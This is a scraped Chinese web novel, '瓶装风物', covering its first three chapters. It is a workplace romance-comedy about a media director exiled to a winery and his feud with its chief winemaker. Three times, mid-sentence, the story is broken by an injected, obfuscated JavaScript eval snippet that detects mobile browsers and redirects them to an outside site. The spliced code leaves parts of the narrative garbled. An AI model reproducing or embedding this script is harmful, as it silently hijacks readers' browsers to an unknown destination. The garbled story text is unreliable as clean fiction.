《瓶装风物》 1. 首席酿酒师 早高峰时段，上行电梯间里拥塞得如同一只密不透风的铁皮罐头。 杭帆被人潮挤得扁扁的，活脱脱一块被贴在电梯轿厢上的烧饼。 他艰难地在工作手机上回着消息，冷不防听见旁边的几块烧饼们正在窃窃私语。 “……这也换得太突然了，怎么年前都没人听到风声的？” “就是说啊！这么紧急的人事调动，明显不正常！要我讲嘛，多半是上面有人在挟私报复啰。” “唉，Miranda也真是惨，刚做出业绩就被人摘了桃。卸磨杀驴不过如此，我看了都觉得寒心……” 在风言风语里听见自家顶头上司的名字，杭帆发消息的手不由一顿。 没等他出声询问，电梯门已经“叮”得一声打开。拥挤人流立刻如潮水般四散而去，按部就班地涌向各自的工位。 这什么情况？ 杭帆在自己的工位上坐下，一边打开电脑登录公司OA，一边在心里泛起嘀咕。 虽说集团高层们天天都在神仙打架，但节后复工的第一天就公然开撕……这不太合适吧？ 活儿还没开始干呢，瓜倒已经吃上了……嘿，这不明摆着是在动摇军心嘛！ 他正有一搭没一搭地想着，一抬眼，却见登录界面上弹出几个黑体加粗的大字。 〖对不起，您的访问已被拒绝。〗 杭帆沉默。 杭帆叹气。 杭帆发出了社畜特有的痛苦呻吟。 “搞咩搞啊！开工第一天就OA瘫痪？” 杭帆愤怒地抓起了工牌，准备往技术支持部门走一趟。 “杭总监！” 刚站起身，他就被人喊住。 人事部的小姑娘怯怯地在边上探出头来：“总经理请您去办公室。” 两年前，杭帆被Miranda亲自挖角，从此便以新媒体总监的身份，供职于罗彻斯特集团麾下的葡萄酒与烈酒业务部门。 身为Miranda女士亲口认证的“得力爱将”，被这样严肃而正式地喊去谈话，对杭帆而言破天荒的头一遭。 小杭总监一时有些懵，实在想不到Miranda在复工第一天要找自己谈些什么。 “啊？很急吗？”他问，“我想先去IT那边，大概要半小时，可以吗？” 不知为何，人事部的小姑娘看起来紧张得要命。她欲言又止地咬着嘴唇，说：“总经理让您现在就过去，立刻马上。” 尽管满头雾水，杭帆还是快步走向了首席执行官的办公室。 然而，Miranda不在，翘着二郎腿坐在这间办公室里的另有其人。 “你就是杭帆？” 这名鸠占鹊巢的中年男人，极为做作地交叠起了双手：“听说，当初是Miranda亲自面试的你？” “是。”杭帆说，努力不让自己皱起眉来：“请问您是……？” “我是Harris Wong，”那男人皮笑肉不笑地扯了扯嘴角：“刚荣任了罗彻斯特酒业的首席执行官。幸会，杭总监。” “您好，王总。”按住了心头的骇浪惊涛，杭帆不卑不亢地冲对方点头致意：“是有什么需要我做的吗？” Harris倒也不跟他绕弯子：“集团旗下的斯芸酒庄正缺一位驻地媒体运营，经过研判，我认为只有杭总监能够胜任这么重要的岗位。”他说，“杭总监意下如何？” 斯芸酒庄？杭帆一愣，那不是在华北吗？ “如果是去酒庄驻地的话，我不太方便。” 这样的工作调动简直莫名其妙，杭帆竭力婉拒：“通常情况下，我会建议从当地直接招聘一位有经验的运营，因为无论是从成本控制的角度，还是从效率管理的角度——” “杭总监，”Harris毫不客气地打断了他，“斯芸酒庄是集团非常看重的项目，这样好的历练机会，别人可是求都求不来的。” 这位身形臃肿的中年男子站起身来，拍了拍杭帆的肩，语重心长道：“像你这样的年轻人，正该是要闯荡的年纪，别老想着坐在办公室里贪图安逸。斯芸的业绩要是做起来了，集团难道还会亏待你不成？” “就这么定了。”Harris一锤定音，“我刚已经让人事去帮你收拾个人物品了，待会儿会有保安来替你搬下去。” 耳边嗡得一声，杭帆只觉得全身的血液都冷却了下来。 不是公司的OA瘫痪了，而是自己的账户已经被解除了权限；人事之所以吞吞吐吐，是因为已经接到了要“帮”杭帆收拾个人物品的指令；说什么保安来“替”自己搬下去，分明是为了看住风险人员，以防自己因心怀怨愤而闹事…… 这哪里是正常的工作调动，分明就是一场公司内部的派系肃清！ “你在总部的工作，我会安排人来接替的。” Harris露出一口白得骇人的牙齿，像是鲨鱼正冲着猎物咧嘴微笑。 “在斯芸好好干，杭总监，我期待你的表现。”他说，“毕竟……眼下年景不好，找份工作也挺不容易，是不是？” 二十六个小时之后，杭帆已经连人带行李地站在了酒庄大门口。 “人为财死，鸟为食亡。”他自言自语地说道：“赚钱嘛，难道还要挑在哪里赚吗？再说，这只是调派外地，又不是去驻守无人岛！” 话虽如此，可他的手却只是有气无力地扶在门上，半点都没有要推门而入的意思。 “反正工资也没降，总之先做做看。” 杭帆继续对自己进行着安抚式话疗：“实在干不下去再辞职也来得及嘛。不要意气用事，想一想房贷……” 或许是“房贷”二字终于戳中了内心痛处，尽管满心的不情愿，抵在门上的两条胳膊终于开始用力。 然而，面前的这扇雕花铁栅门仍旧是纹丝不动。 啊。杭帆冷静地想。这家酒庄，连门都要和我过不去呢。 “这狗屁工作真是一天也干不下去了！” 他恶狠狠地攥住了门上的栅条，仿佛是掐住Harris那厮的脖子左右摇晃：“我看要不还是现在立刻就马上辞职吧！！” 像是焊死在了原地一般，那门浑然不动。 “啊啊啊啊！！可恶！！” 杭帆气得仰天长啸：“谁要辞职啊，我才不辞职呢！那厮整这一出，不就是想要逼我自愿离职吗？我不，我偏不！” “给我等着！”他对着空气就是邦邦两拳，“不整出点儿惊天动地的好活，我杭帆就把名字倒过来写！等那厮跪下来求我回去的时候，我就把辞职信甩你丫脸上！我靠，我就不信了——” “不好意思，打断一下。” 一把如天鹅绒般华美优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438187|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅的嗓音，忍着笑从杭帆身后响起：“你方向错了。这扇门是要往外拉，而不是向里面推开的。” 小杭总监惊恐万分地深吸了一口气。 小杭总监的脚趾已经在地面上抠出了幻想中的马里亚纳海沟。 小杭总监强做镇定地扭过头来。 不知何时，杭帆身后竟已悄无声息地站了一位陌生的青年。 阳光下，那头微微卷曲的头发像是被浓墨浸染的丝线一样漆黑发亮，连天神阿波罗都会为之羡妒。而若是要摹写这张刚柔并济的英俊脸庞，则必由艺术巨匠贝尔尼尼亲自挥刀从白色大理石中雕凿出不可。 此刻，那双翡翠色的深邃眼瞳中正满盛着促狭笑意——单看这表情就知道，此人多半已是在边上看了好一阵的猴戏。 杭帆这下是真的有些淡淡地想死了。 “谢、谢谢……” 顶着一张烧得通红的脸，小杭总监磕磕绊绊地捡起自己的社交辞令：“那个……我姓杭，叫杭帆。杭是杭州的杭，帆是‘扬帆起航’的帆，今天刚从总部调来。请问您是……？” 这位英俊的陌生人笑了笑，“岳一宛。”他说，“我叫岳一宛。” “丘山岳，数字一，宛转蛾眉的宛。嫌拗口的话，你也可以直接叫我Ivan。” 一霎的停顿过后，这副几欲迷人心智的动听嗓音才继续道：“我是斯芸酒庄的首席酿酒师。” 说着，他上前两步，伸出手去拉开了酒庄的铁栅门。 明明是十度不到的天气，岳一宛却只在法兰绒衬衫外穿了一身斜纹西装马甲，更衬得宽肩窄腰，矫健而风流。 “昨天好像确实收到总部发来的邮件，只不过我也没细看里面的内容。” 岳一宛走在前面带路，边说边回过头来：“不好意思啊，杭帆。请问一下，你是被调来斯芸做哪个岗位的……？” 这个侧身的动作，令杭帆不由注意到了岳一宛那敞着前两颗扣子的衬衫领口。在那对随意地挽到了臂弯处的袖口下，也正潇洒地露出了前臂精悍有力的肌肉线条。 无端地喉头一紧，杭帆的耳朵立时热得发烫。 天，若是美色能够杀人，自己这会儿怕是已经死无全尸。 他一边心中胡乱地想着，一边清了清嗓子，答道：“哦，我被调来做酒庄的驻地媒体运营。” ……嗯？ 媒体，美色，营销？ 心念电转之间，杭帆脑中已经蹦出了一个绝妙的创想。 “岳先生，我有个想法。”几乎迫不及待地，杭帆开口道：“我想做一个能带观众沉浸式参观酒庄的直播。” 通常情况下，杭帆并不是一个话很多的人，像这样的滔滔不绝只限于创意上头的时刻。 “既然采摘水果的实时直播，能令观众产生购买这种水果的冲动，那对酿酒师生活的沉浸式体验，肯定也会让观众产生尝试葡萄酒的冲动吧？” “我想，如果是要以酿酒师的视角来带领观众进行沉浸式的酒庄生活体验的话，身为斯芸酒庄首席酿酒师的岳先生应当是最好的入镜人选。” 他满怀期待地看向岳一宛，“岳先生对这个企划有兴趣吗？” “对不起，”岳一宛嘴上这么说，语气却轻快得很，甚至能称得上是有些幸灾乐祸了：“对于你们的这些营销手段，我可全都无意奉陪哦。” 2. 冤家聚首 “这个人的性格真是差劲透顶！” 杭帆气得像是只一浑身毛都炸开了的猫。吐槽到恼火处，他更是一拳锤在床上：“你猜他跟我讲什么？他说，‘为什么我要出卖自己的色相，来帮助你们营销岗完成工作？’” 视讯电话的另一端，白洋正慢条斯理地吸着一杯冰美式。 听闻杭帆的一番痛诉，这位万年冰山脸的好友缓缓点了下头。 “确实。”白洋道，“长得好看并不是免死金牌。” “喂！”正在气头上的杭帆，恶狠狠地向白洋这厮投去了一记死亡凝视：“这是重点吗？” “这难道不就是重点所在吗？” 白洋咬着吸管，无耻反问的语气里竟有着十成十的无辜，“毕竟，你刚花了整整五分钟时间，来形容他那——” 比划了一个双引号的手势，这厮一字不改地复述了杭帆的原话：“‘令人惊叹到差点停止呼吸的美貌’。” “用了这么长的形容词，”白洋啧啧感叹：“我还以为你对他一见钟情了呢。” “一见钟情个锤！” 杭帆呸了一声，翻出一个巨大的白眼：“本来是觉得他长得像我的KPI，谁知道……啧！” “我真是想不明白，”语带愤愤地，杭帆抖开了行李箱里的衣服，一股脑儿地胡乱挂进员工宿舍的衣柜里：“如果酒庄的葡萄酒销量不好，他身为首席酿酒师，利益和名誉也都会一起受损啊？” “你别说，人家还真不一定这么想。” 白洋耸了耸肩，道：“如果销量好，那当然是他的产品做得牛逼。要是销量差，那就全都怪你那营销做得拉胯。” 砰得关上衣柜门，小杭总监深深地吸了一口气。 “如果杀人不犯法，”他面无表情地做出了危险发言：“我迟早把他和Harris豆沙了！” “真的干不下去就别干了。” 白洋劝他：“大不了骑驴找马嘛。这几个月的工作就先敷衍着，等找着了下家，马上辞职跑路不就好了？” 把清空了的行李箱塞进墙角，杭帆苦笑一声：“我可是有百万房贷要还的。” 他说：“不过就是被上司穿小鞋，倒也不至于真的就干不下去。再说了，难道换一家公司，就能保证一定不再碰到这种烂事儿？” 重新做坐回到电脑前的杭帆，对着屏幕重重叹了口气，好半晌之后才重新开了口。 “总部的同事刚还发消息给我说，斯芸酒庄的前一个媒体运营，就是因为岳一宛这个首席酿酒师相处不来，在年前的最后几天里突然提出了辞职。” “往好处想，岳一宛应该不是对我个人有意见，就只是单纯看不起市场营销工作而已。” “嗐，”杭帆将手一摊，苦中作乐似的笑了一笑：“只要别上赶着去烦他，大概暂且也能相安无事吧。” “可是，”白洋投来了犀利的一瞥，“没有他的配合，你的工作要怎么开展？” “就先多想想其他的形式呗。” 杭帆无奈，“我好歹也是做创意类工作的，此路不通就换一条。俗话说得好，‘方法总比困难多’嘛。” 正说话间，桌上的工作手机嗡嗡地震了起来。 “操，”只低头看了一眼，小杭总监立刻大骂出声：“怎么又是Harris？他总不能是现在就来催方案的吧？” “晚上好，Ivan。” 企业微信的视频通话界面上，Harris满面堆笑，硬生生在那张油腻大脸上挤出了好几层皮褶。 “咱们酒庄新来的那位小朋友，今天没给你添麻烦吧？” 接到这通视频的时候，斯芸酒庄的首席酿酒师正在酒窖里试饮橡木桶中的新酒。 猛然看见Harris这张讪笑着的山猪脸，岳一宛手上一滑，差点把酒杯都给摔出去。 “喔，是王总啊，您好您好。” 搁下手里的杯子，岳一宛露出了无懈可击的社交用微笑：“请问您说的麻烦是指……？” Harris Wong本名王德福，在二十六岁之前都是土生土长的江浙人士。 加入美国籍之后，他不仅学来了一口荒腔走板的假粤语口音，更是“入乡随俗”地把姓氏从Wang改成了Wong，言必称其祖上为大清朝的镶黄旗贵族，辛亥之后因受新政府迫害而逃往港府，此后举家迁往美利坚，“迄今已有四代人矣。” 如今听到“王总”这一颇具大陆特色的称呼，这张油滑脸孔上顿时僵出了一层青黑色。 “见外了，见外了。” 在两声生硬的尬笑之后，Harris重又堆起了那有如泥鳅般滑不溜手的笑脸：“叫我Harris就好，显得亲切嘛，哈哈！” 噫。 岳一宛被这人恶心得舌根发麻，在心中连连作呕不止。 可他面上却照旧是一副风度翩翩的绅士模样，语气极为恭谦：“哎，哪里哪里，王总真是客气。” 眼见着这人油盐不进，言必称“王总”二字，Harris的一张猪脸都快要涨成了绀紫色。 他沉默了数秒，才终于又挤出个笑来：“咳……就是，Ivan啊，刚刚我听杭总监说，他提议在酒庄里做直播，但你不同意，是有这么一回事吗？” 嘁，岳一宛心想，果然是无事不登三宝殿。 “好像是有这么一回事。” 首席酿酒师漫不经心地点了下头，“怎么？哦——不会是您的心腹爱将跑去向您告状了吧？” “不不不，当然不是。” 生怕岳一宛迁怒自己，Harris赶紧把自己切割出去。 “什么心腹爱将啊，哈哈，不过是位‘前朝遗老’罢了。我是看Miranda那么器重他，所以觉得杭帆应该也有些真才实能，这才把他调过来的嘛。” Harris又说：“不过Ivan你也知道，斯芸酒庄的位置偏僻，要找到个有能力又愿意来山里常驻的人，也实在是不容易。” “杭帆那个直播的创想啊，我也听他大概说了一下，主意还是不坏的。所以——” “哦……” 岳一宛打断了对方的话，故作恍然大悟状：“原来杭总监不是王总的心腹爱将，而是王总的心腹大患哪。” “既是如此，”他笑眯眯地反问道，“王总何必又要来替他做这说客呢？” 这一连几声的“王总”，令Harris额角青筋直跳。 但在岳一宛这尊惹不起的大佛跟前，他到底是不好当面发作，只能陪着笑道：“哈哈哈哈，您这说的又是哪儿的话？Miranda嘛，那都已经是过去式了，不重要，不重要哈。” “咱们斯芸酒庄已经建成十多年，眼下也是该拿出点成绩了。不然，明年的集团股东大会，给那帮欧洲人看到斯芸这部分业绩，只怕是要以为——中国酿造的葡萄酒，果然不行啊！” 这话说得难听极了，分明就是激将法。 可这岳一宛又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管岳一宛满脸都写着“不感兴趣”四个大字，但在合同条款的约束之下，终究还是勉为其难地撇了一下嘴。 “愿闻其详。”他说。 翌日清晨，岳一宛特意起了个大早。 却不成想，这座酒庄里竟还有个比他更勤快的员工。九点不到，对方就已经早早站在品酒室门口等着了。 金灿灿的日光，像是一只暖呼呼又毛茸茸的小狗，悄无声息地越过落地玻璃窗，紧紧依偎在门边那人的身上。 从走廊的另一端远看过去，这一身套头卫衣加紧身牛仔裤的简朴打扮，活脱脱就是个刚进大学校门的少年人模样。 在恶劣趣味的驱使下，岳一宛默不作声地朝着那人走近几步。 直至走到近前，正垂眸假寐着的那人才像是终于察觉到了什么似的，猛然睁开了眼睛。 呆愣了有足足一秒，这张昳丽端整的脸孔上，才终于浮现出了疑色。 “……怎么是你？”他问。 “不是我，还能是谁？” 斯芸酒庄的首席酿酒师，一边仪态优雅地挽起了袖口，一边拿出了品酒室与酒柜的钥匙。 “为了能让你尽快展开工作，Harris请我帮你速成一下葡萄酒的相关知识，所以——” 要笑不笑地，岳一宛瞥了身旁的这人一眼，这才继续说道：“杭总监，从今天起，我就是你的葡萄酒专业课老师。” 3. 第一课 杭帆呆滞了一瞬，旋即把一双冷冽的丹凤眼都给瞪得滚圆。 “……啊？” 他的表情之讶异，活像是在天上看到了一轮绿色的正方形太阳。 “为什么，你……你不是不喜欢营销之类的事情吗？” “这有什么值得惊讶的？” 岳一宛偏了偏头，举手投足间仍是惯常的迷人风度：“为斯芸酒庄的员工提供相应的培训，也是我的职责所在。” 他一边说着，一边推开了品酒室的门：“不过，通常而言，我的培训范围仅限于新入职的酿酒师与酿酒工。是Harris咬文嚼字，才非得把你也算进来不可。” “当然，如果你非要你问我的话。” 有着翡翠色眼瞳的首席酿酒师弯起了眼睛，一副置身事外的潇洒语气：“我觉得Harris做这样安排，只是因为察觉到了你我之间有些不对付。他想要借我的手来磋磨磋磨你，顺便再气一气我，如此而已。” 谁问你了？ 非常用力地，杭帆在这人背后翻了个巨大的白眼。 根本没人问你！ 小杭总监慢腾腾地踱进了品酒室，又在橡木长桌边踟蹰片刻，终于挑了个离对方较远的位置坐下。 “既然知道Harris不怀好意，”他问，“你为什么不直接拒绝这个要求？“ 咋暖还寒的二月末，妩媚春风从渤海上吹拂而来。 一垄一垄的葡萄藤，被疾风吹摇得簌簌晃动，如同一脉又一脉的小小浪花，在绵延无际的丘陵梯田间吹响了早春的口哨。 一排明净的落地窗，将这料峭寒意与田园风光一齐隔绝在酒庄品酒室的玻璃之后。 清澈的晨光里，岳一宛淡淡耸肩。 “因为Harris是个惯于挟公报私的混蛋，”他说，俨然是正人君子做派，“而我和他不同。” 从柜子里拎出了一打高脚玻璃杯，整整齐齐地摆在了距自己最近的两个座位上，岳一宛这才又道：“我向来对人不对事。讨厌营销，并不意味着我就仇视你本人。” 杭帆冷眼看向桌上的那一排玻璃制品。 即便给罗彻斯特酒业做了两年的新媒体运营，他对酒精饮品也依然缺乏好感。 就连看着这些晶莹圆润的酒杯，杭帆也只觉得它们各个都腆着硕大肥满的肚腹，活像是那些满面假笑地在桌上劝酒的油滑掮客。 “恕我直言，”他抬起眼睛，语气干瘪地反问：“这两者究竟有什么差别？” 反正都会让我的工作很难做。 “当然有区别。” 随意把手一摊，岳一宛这人主打一个理不直气也壮：“我再不喜欢营销，顶多也就是拒绝参与杭总监的全部营销方案罢了。” 语毕，这人径自走向橱柜道，头也没回地又补了一句：“而如果我讨厌的是你本人，那只怕杭总监是在斯芸酒庄里呆不长久了。” “你应该听说过的吧？酒庄的前一任媒体运营是被我赶走的。” 如果混蛋也分等级，岳一宛绝对是特级持证大混蛋。 这厮毫不掩饰自己搞权职霸的倾向，令小杭总监一连深吸了好几口气，恨不得现在就去小红书上新起一个账号。 「家人们谁懂啊，上班第一天就被职级比我高的傻逼同事针对，我这是招惹到了比格转世？」 要不还是认真考虑一下辞职的事情吧，杭帆十分冷静地想。 在“职场冤种”这个赛道做自媒体，说不定还能比上班更早地实现财务自由呢。 他正绷着脸在肚中腹诽，首席酿酒师却已经变魔术般地端出了一盘奶酪与坚果。 “坐那么远干吗？” 放下盘子的岳一宛，向坐在桌子尽头的那人投去了奇怪的一瞥：“你不会指望我能横跨整张桌子给你倒酒吧？话说在前，我的胳膊可没有两米长。” “可不敢劳烦您，”小杭总监半点都没有要起身的意思，只干巴巴地摆手：“我自己来就好。” 万一这厮午夜梦回，想起自己竟然屈尊降贵地亲手给一个小角色倒酒，心中突发不忿，把我给炒鱿鱼了怎么办？ 心思阴晴不定，这是“上位者”这类人的通病。所以杭帆认为，自己的阴暗小念头绝非是杞人忧天。 岳一宛正站在恒温酒柜前，闻言回过头来，斜乜了他一眼道 ：“哦？你有侍酒师资格证？” “……没有。” “那还废话什么。” 首席酿酒师指向指离他最近的那把椅子，十成十的大独裁者语气：“过来，坐这儿。” 人在屋檐下，不得不低头。 一瞬的挣扎之后，小杭总监到底还是硬起了头皮，视死如归般地坐到了岳一宛身边。 “你有两个选择。” 说这话的时候，岳一宛正从酒柜里拿出两支红酒。 他手势轻柔且平稳，恍似在掌心中握持的并非是一只玻璃瓶，而是恋人递来的手。 “一，是从头学起。我会按照教科书的标准，来教授你关于葡萄酒的一切知识。” 这人的语气却是一点也不轻柔。 比起传业授道的老师，岳一宛的这番话里反倒更多了几分看乐子的口吻：“不过，能学会多少，那就得看你自己了。我只包教，但不包会。” 这听起来像是一道送命题，小杭总监的脑中警铃大作。 “不会还有考试什么的吧？” 杭帆非常确信，如果自己没能在岳一宛的手底下混出个及格分，这事绝对会被Harris拿来大做文章。 “谁知道呢？” 岳一宛微笑，活脱脱一条对着猎物咧开嘴的鳄鱼：“如果我兴趣来了，或许也会给你安排一下月度考核。” 这分明就是故意找茬，杭帆有气无力地想。 他已经开始思考罗彻斯特集团的裁员赔偿是多少钱了。 “但你还有第二个选择。” 旋开了手中的海马刀，岳一宛手起刀转，利落地摘掉了瓶身顶部的锡纸酒帽。 这轻巧流畅的一整套动作，优雅得有似拈起一片飞花。 “我会帮你在一天之内‘速成’葡萄酒的相关知识，当然，仅限于限斯芸出产的酒款。” 他将酒瓶旋转了几十度，好让酒标正对着杭帆：“要哪一种方式，你自己来选。” 酒标上，烫银的汉隶写着“斯芸”二字。 下面一行的端正楷体，则清晰地勾勒出“2022”的字样。 一眼看去，岳一宛手边统共摆出了八支酒，清一色的斯芸酒庄出品。 小杭总监在心里直犯嘀咕：您老准备的这些教具，可不就都是斯芸自己出产的酒款吗？这不是明牌了要让我选速成课！ 无论是从帮助展开工作的立场来看，还是从学习新知识的角度而言，系统性的学习当然比“速成课”要好上许多。 但岳一宛是被Harris“逼迫”来给自己进行葡萄酒教学的，杭帆心想，这家伙大概也没有从零开始教会一个外行人的耐心。 更何况，向Harris“报告”自己在葡萄酒知识上的匮乏，本就是一招缓兵之计。 因为岳一宛拒绝配合直播的缘故，杭帆需要一些时间来琢磨新的方案。“想学习葡萄酒知识”固然是真，但这也同样是暂时用来堵住Harris的嘴的好借口。 知识没想到，对方竟会直接指派岳一宛来给自己上补习课。 ……算了，他想，两害相权取其轻。 速成课之外的知识可以通过自学来补足，但如果惹怒了岳一宛，谁知道会有什么样的后果？ 在心里进行了几轮审慎的斟酌之后，杭帆终于做出了选择。 “我选第二种。” 深深地看了杭帆一样，岳一宛挑眉。 “我想也是。”他说，语气里莫名多了几分意兴阑珊的调调。 “那么就从这几支‘斯芸’开始吧。建议你做好笔记，我不重复第二遍。” 面前的六支高脚杯里，分别倒入了六个不同年份的“斯芸”红酒。 杭帆感觉自己像是回到了奋战备考的学生时代，不仅要小心地倾斜酒杯以观察酒体的颜色，同时还得将拍下的照片归拢进电子笔记里，并仔仔细细地记下六支酒在颜色与清澈度上的不同。 虽然都是被统称以“酒红色”的液体，但越是年轻的红酒，色彩便越是鲜艳。在酒液的边缘处，还能清晰地看见明亮活泼的紫色调。 而陈放时间更久的那些，宝石般闪亮的色调日渐褪却，渐渐呈现出一种略带黄调的沉稳黯红色。 从小到大，杭帆都堪称是优等生专业户。只消片刻功夫，他就已经能够从面前的六杯酒中，娴熟地分辨出陈年时间最久与最短的那两支。 “这好像也不是很难啊。” 在酒杯顺序被打乱了第五次之后，依然顺利找到了最老年份的那支酒的小杭总监，一边悄悄摁下了心中的那份小小得意，一边抬头看向他的那位便宜导师：“然后呢？” 半真半假地，岳一宛为他鼓了两下掌。 “不错嘛，学得挺快。” 为师不尊的那位浅浅呷了一口酒：“不过，还是希望我们的这位好学生，不要就此折戟哦？” 那真诚欠奉的狡黠笑容，简直可以称得上是不怀好意，直把看得杭帆心下一抖。 半小时之后，杭帆确信自己的不祥预感已然成真。 毕竟，“颜色”或许还是一种相对客观的事物，而“味道”却是极具主观色彩的东西。 在把一整排杯子轮番闻嗅到第十五遍的时候，淡淡的崩溃情绪，仿佛江南六月的潮湿黄梅天一样，将小杭总监整个人都兜头笼罩于其中。 无论如何努力，他都完全闻不出岳一宛口中所谓的“黑樱桃与青圆椒的气味”。 说得直白点，杭帆觉得红酒闻起来根本就只是葡萄与酒精的味道而已。 要能从红酒里闻出黑樱桃与青圆椒的气味？这份想象力简直是无中生有！ “如果你足够敏锐的话，还应该能分辨出雪松木或烟熏的气味。” 怡然自乐地晃动几下手腕，首席酿酒师低头嗅了嗅杯中摇荡着的酒液，惬意地眯起了那双碧色的眼眸。 “以及果干和泥土的味道。”这人的语气悠闲得几乎要让杭帆抓狂，“在17年的这支‘斯芸’里，这些气味都还挺明显的。” 是我的鼻子有问题，还是这个人真的疯了？ 小杭总监禁不住要骇笑出声。 早上八点就起床，显然不是杭帆这种创意行业工作者的常规作息。昨晚没怎么睡好，早起之后又没来得及吃饭，他现在正处于头痛欲裂与饥肠辘辘的双重折磨之中。 在竭力忍耐了岳一宛整个上午之后，他觉得自己有权说上几句胡言乱语。 “要不是因为你的照片确实挂在酒庄官网上，我多半要以为这位‘首席酿酒师’哪个蹩脚的香水爱好者假扮的了。” 努力咽下那句已经浮到了嘴边的“你莫不是在耍我”，杭帆尽量委婉地发问道：“你确定这些气味真的存在，而不只是你的……呃，想象？” 嗒哒一声，岳一宛搁下了酒杯。 “杭总监不会以为，这些葡萄酒气味的描述，和互联网上那些‘爆汁玫瑰’与‘草莓啵啵茶’一类的陈词滥调同属一类吧？” 他看向杭帆，唇边悬着一缕冷笑。 “只有不入流的酒评家与睁眼说瞎话的新媒体，才会随口编纂那些似是而非的短语，试图最时髦最流行的词汇去取悦潜在买家。” 岳一宛说：“但作为一个已经存在了上千年之久的行业，葡萄酒的世界里有一套自己的品鉴体系与标准化描述。” “也许杭总监的本职工作就是玩弄文字与粉饰语句。可对葡萄酒而言，标准化描述是一种客观事实，类比于身份证号码，让品鉴者能够从中解读出葡萄的品种、产地与酿造方法。” 听到玩弄文字这句话，杭帆几乎是下意识地咬紧了牙关。 又来了，他想，这是第几次听到这种满是偏见的发言了？ 简直毫无新意。 「新媒体运营？这行业赚挺多钱吧？」 在老家街道上遇到的中学同学，那名自称在地税局工作的男人，露出了似乎不含任何恶意的艳羡神情。 「哎呀，真好啊，只要发发微博和小红书就能轻轻松松地拿工资，早知道当年我也学传媒就好了。」 「你的工作是为品牌方运作新媒体账号……？哦，那就是打广告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好吧，”片刻之后，他简单地说道，“那就暂时放下气味的部分，先进入到品尝的环节好了。” 对于方才爆发在两人之间那番矛盾，这家伙既未选择道歉，也不曾置予一词。 这可真是高高在上的骄矜派头，小杭总监暗道，一看就是从未向生活低过头的富贵人家出身。 这样想着，他心中不禁生出一丝厌烦。 或许真正发疯了的人确实是我。杭帆自嘲起来，区区一介打工牛马，竟然试图和这种连Harris都奈何不了的大少爷谈什么尊重…… 拿起面前的杯子，他狠狠地灌下了一大口酒。 接下来的一段时间，杭帆字面意义地体会到了如坐针毡的滋味。 他的胃很痛。两个小时之前的隐隐抽搐是因为没吃早饭之故，而此刻这尖刀剜肉般的疼则来自于空腹饮酒。 这可真是纯然的咎由自取啊，小杭总监颇为后悔地想着。 早知道是岳一宛的课，就吃了东西再过来，反正自己在这人心中的印象分已经不会更低了。 不知道是不是因为胃痛的缘故，渐渐地，杭帆察觉到自己身上正升起一阵冷一阵热的怪异感。 尽管不能肯定自己到底学会了多少，但这节“斯芸酒庄葡萄酒速成课”确也已经行至了尾声。 比起用“午间休息”为由来打断岳一宛，这时候杭帆的更寄希望于能够早点下课。 “最后一题，是从这几杯酒之中，指出哪一支是酒庄去年刚推出的副牌，‘兰陵琥珀’。” 岳一宛再次打乱了酒杯的顺序，“这题做完，姑且就算是你学成了。” 自打方才的口角之后，这人的语气就一直不咸不淡，仿佛是在有意拉开距离。 搞什么？至于这么讨厌我吗？ 忽冷忽热的疼痛，自内向外地撕扯着杭帆的身体，令他莫名焦躁的思绪总不住地往别处涣散开去。 就连岳一宛给出几句提示，都只断断续续地飘进他的耳中。 “所以，与‘兰陵琥珀’相比，任何一个年份的‘斯芸’都会显得更轻盈一些。也是因为这种不同，使得‘兰陵琥珀’的酒液中残留有更多的糖分……” 轻盈。 略有艰难地，杭帆努力收束起注意力。 品尝起来非常“轻盈”的酒液，那到底是一种什么感觉来着？ 这次的回想并没有成功。因为他很是沮丧地意识到，自己舌苔已经开始麻木了。 最后一题了。他想。再撑一会儿就行。 强自摁捺住胃部的绞痛，杭帆伸手拿起酒杯。 苦涩的味道像是刮过舌面的砂砾。 ——葡萄酒到底有什么好喝的？ 自言自语的声音在杭帆的脑子里大声说道。 ——今天加起来喝了是不是有七大杯了？岳一宛这家伙绝对是虐待狂吧？ 握着触控笔的手有些颤抖，杭帆坚决地无视了它，把刚刚品尝过的那杯酒从选项里勾掉。 ——本来还被他那种好看的脸迷惑了来着。 这个声音自顾自地在杭帆的脑子里蹦跶。 ——幸好啊，没有真的一见钟情，毕竟职场恋爱是自寻死路嘛。 求求你闭嘴吧。杭帆感觉自己的头正痛得像是被斧头劈开一样。 ——恋爱恋爱，恋什么爱，真是爱不了这B人一点。 选C，还是选E？杭帆试图用做题来转移忽略身体上的疼痛，顺便驱散脑子里那个满口胡言的声音。 几乎是机械式地，他在两杯酒中反复来回品尝。 酸里微甜的，是葡萄果汁的味道。涩得发干的，是葡萄皮里浸泡出的单宁。 然而，在这两种鲜明的感官之外，其中的某一杯里好像又有一种奇妙的味道。像是一颗圆润有重量的玻璃弹珠，随着酒液的流淌，在舌头上快乐地滚动着。 应该如何用“标准的”语言来描述这种感觉？它好像是，它应该就是—— ——你是希望通过完美地解出每一道“题目”，来让岳一宛高看你一眼，从而认为你和其他“搞营销的人”不一样吗？ 那个声音毫无顾忌地在心里发问。 ——你知道的吧？不管岳一宛是怎么看待你的，你们都没可能的呀。因为你…… 住口。杭帆不耐烦地呵斥了自己一句。闭嘴吧。 “杭帆，”岳一宛突然又开口了，“你是不是——” 